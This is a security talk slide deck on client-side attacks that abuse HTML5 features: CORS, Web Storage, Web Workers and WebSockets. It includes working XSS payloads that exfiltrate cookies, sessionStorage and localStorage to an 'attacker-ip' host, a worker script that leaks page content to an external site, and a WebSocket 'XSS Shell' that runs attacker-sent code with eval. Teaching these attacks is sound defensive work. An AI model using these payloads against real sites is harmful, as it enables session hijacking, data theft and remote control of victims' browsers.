Building Client-Side Attacks with HTML5 Features

Building Client-Side Attacks with <HTML5> features

Tiago Ferreira tiago.ccna@gmail.com

AGENDA

ABOUT ME

• Almost 4 years working with IT network devices and 5

years with security (MSS, Pentest, VA, etc).

• Focus on Web Application vulnerabilities exploitation.

• Security analyst at CONVISO Application Security.

• Member of the research group Alligator Security Team.

A few words about Same Origin Policy

• Perhaps the most important security concept within modern browsers.

• The policy permits scripts running on pages originating from the same

site to access each other‘s.

• Prevents access to most methods and properties across pages on

different sites.

• An origin is defined by the protocol, host/domain, and port of a URL:

o http://www.example.com/dir/page.html

o https://www.example.com/dir/page2.html

o http://www.example.com:8080/dir/page.html

o http://en.example.com/dir/other.html

• In practice, there is no single same-origin policy:

o DOM access, XMLHttpRequest, Cookies, Flash, Java. Silverlight,

etc

HTML5 Overview

• The Hypertext Markup Language version 5 (HTML5) is the

successor of HTML 4.01, XHTML 1.0 and XHTML 1.1.

• It brings several new technologies to the browser which have

never been, such as:

o New DOM interfaces

o New forms elements

o Enhanced XHR (Level 2)

o Web Storage

o Web Socket

o Web Workers

o File API

o Many new attributes

• HTML5 provides new features to web applications but also

introduces new security issues.

CORS - (Cross-Origin

Resource Sharing)

CORS

• CORS is a web browser technology that enables client-side API

to make cross-origin requests to external resources.

• New HTTP header is defined "Access-Control-Allow-Origin" .

• First the UA makes the request to the foreign domain and then

checks the access control based on the returned Access-Control-

Allow-Origin header.

• The decision whether the API (XMLHttpRequest) is allowed to

access foreing domains is made in UA.

HTTP/1.1 200 OK

Server: Apache

Content-Type: text/html

Access-Control-Allow-Origin: http://example.com/

CORS

• Potential threats

o Information gathering

- Response time based intranet scanning

o Universal Allow

- Bypass access control

o Remote attacking a web server

- UA can be used to attack another web server

o DDoS attacks combined with Web Workers

Web Storage

Web Storage

• Web Storage gives websites the possibility to store data on the

user's browser. The information can be accessed later using

JavaScript.

• Web storage offers two different storage areas:

o Local Storage

o Session Storage

• Web storage provides far greater storage capacity (depends on

browser between 5MB to 10MB).

• It is supported by: Internet Explorer 8, Mozilla-based browsers

(e.g., Firefox 2+, officially from 3.5), Safari 4, Google Chrome 4

(sessionStorage is from 5), Opera 10.50.

localStorage

• Data placed in local storage is per domain and persists after the

browser is closed.

• To store value on the browser:

o localStorage.setItem(key, value);

• To read value stored on the browser;

o localStorage.getItem(key);

• Security considerations:

o Sensitive data can be stolen;

o Data can be spoofed;

o Persistent attack vectors.

sessionStorage

• Session storage is per-page-per-window and is limited to the

lifetime of the window.

• Store value on the browser:

o sessionStorage.setItem('key', 'value');

• Read value stored on the browser:

o sessionStorage.getItem(key);

• Security considerations:

o There’s no ‘path’ atribute;

o There’s no ‘httpOnly’ atribute;

o Session hijacking (xss, session fixation).

Attack: Session hijacking using XSS

• Old XSS payload to get cookies

var a=new Image(); a.src=“http://attacker-ip/cookie=“ + document.cookie;

• New XSS payload

var a=new Image(); a.src=“http://attacker-ip/cookie=“+

sessionStorage.getItem(‘SessionID’);

Attack: Session hijacking using XSS

<script>

for(var i = 0; i < sessionStorage.length; i++){

var key = sessionStorage.key(i);

var a = new Image();

a.src="http://attacker-ip/Storage.html?key=" + key +

"&value=" + sessionStorage.getItem(key);

}

</script>

DEMO

Attack: Stealing HTML5 localStorage

<script>

for(var i = 0; i < localStorage.length; i++){

var key = localStorage.key(i);

var a = new Image();

a.src="http://attacker-ip/Storage.html?key=" + key +

“ &value=" + localStorage.getItem(key);

}

</script>

DEMO

Web workers

• API for spawning background scripts in web

application via JavaScript.

o Real OS-level threads and concurrency.

o Managed communication through posting

messages to background worker.

• Web Workers run in an isolated thread.

• Workers do NOT have access to: DOM, window,

document, and parent objects.

• Security validation based in same-origin principle.

Web workers

Spawning a worker

http://owasp.org/index.html

http://owasp.org/worker.js

self.onmessage = function(event){

self.postMessage('Hello World');

};

a

<script>

var worker = new Worker("worker.js");

worker.onmessage = function(event){

document.getElementById('response„).t

extContet = event.data

};

worker.postMessage();

</script>

…

<pre id=“response” value=“ “>

Workers – Available features

• The location object (read-only).

• The navigator object

• setTimeout()/clearTimeout() and setInterval()/clearInterval().

• Spawning other web workers.

• postMessage()

o send data to worker (strings, JSON object, etc).

• Event support (addEventListener, dispatchEvent, removeEventLlistener).

• importScripts

o importScript(‘http://external.com/script.js’).

• XMLHttpRequests.

Sending data to worker

<script>

var worker = new

Worker("worker.js");

worker.onmessage =

function(event){

document.getElementById('respo

nse„).textContet = event.data;

};

worker.postMessage(„Hello

OWASP Floripa`);

</script>

self.onmessage = function(event){

self.postMessage(event);

};

http://owasp.org/index.html

http://owasp.org/worker.js

Attack: Bypass SOP with importScripts()

• Workers makes a natural sandbox for running untrusted code.

• Workers can’t access page content.

• ImportScripts() permits run thirdy party code in your domain.

onmessage=function(e){

importScripts(e.data);

postMessage(this[„someUnt

rustedFunction‟]());

}

var sandbox=new Worker(„sandbox.js‟)

sandbox.postMessage(„http://external.sit

e/badguy.js‟);

http://owasp.org/teste.js

http://owasp.org/sandbox.js

Attack: Bypass SOP with importScripts()

• But workers can run XMLHttpRequests

o Script is running in the domain of the parent page.

(http:/owasp.org/teste.js).

o Can read any content on your domain.

var xhr = new XMLHttpRequest();

xhr.open('GET', 'http://owasp.org/index.html', true);

xhr.send();

xhr.onreadystatechange = function(remote_data){

if (remote_data.target.readyState == 4){

var remote_data = remote_data.target.responseText;

importScripts('http://external.site/remote-page-content=' +

remote_data);

};

};

http://external.site/badguy.js

DEMO

Attack: DDoS with CORS and Web Workers

• Start a WebWorker that would fire multiple Cross Origin

Requests at the target.

• Thanks CORS that can send GET/POST requests to

any website.

• Sending a cross domain GET request is nothing new

(IMG tag or SCRIPT).

• So simply by getting someone to visit a URL you can

get them to send 10,000 HTTP requests/minute.

• Can be spread with social engineering techniques

(malicious URL, XSS vulnerabilities).

Attack: DDoS with CORS and Web Workers

XSS victims

Vulnerable XSS web site

Target Web Site

Attacker injects XSS payloadDEMO

Web Sockets

Web Sockets

• Web Sockets is a web technology that provides bi-directional,

full-duplex communications channels over a single TCP

connection.

• The connection is established by upgrading from the HTTP to the

Web Socket protocol.

• Web servers are now able to send content to the browser without

being solicited by the client, wich allows messages to be passed

back and forth while keeping the connection open.

• URI Scheme: ws:// and wss://

• Threats that can be exploited:

o Remote Shell, Web-Based Botnet, Port scanning

Web Sockets

Web Sockets – XSS Shell

<script>

var connection = new WebSocket('ws://attacker-ip:port');

connection.onopen = function (){

connection.send(„null‟);

};

connection.onmessage = function(event){

eval(event.data);

};

</script>

DEMO

References

• The Websocket Protocol (http://tools.ietf.org/html/rfc6455)

• Web Workers (http://www.w3.org/TR/workers/)

• Web Storage (http://www.w3.org/TR/webstorage/)

• Attack & Defense Labs (http://blog.andlabs.org/)

• HTML5 Rocks (http://www.html5rocks.com/).

• HTML5 Web Security - Michael Schmidt

• The World According to KOTO (http://blog.kotowicz.net/)

• Shreeraj's security blog (http://shreeraj.blogspot.in/)

Questions ?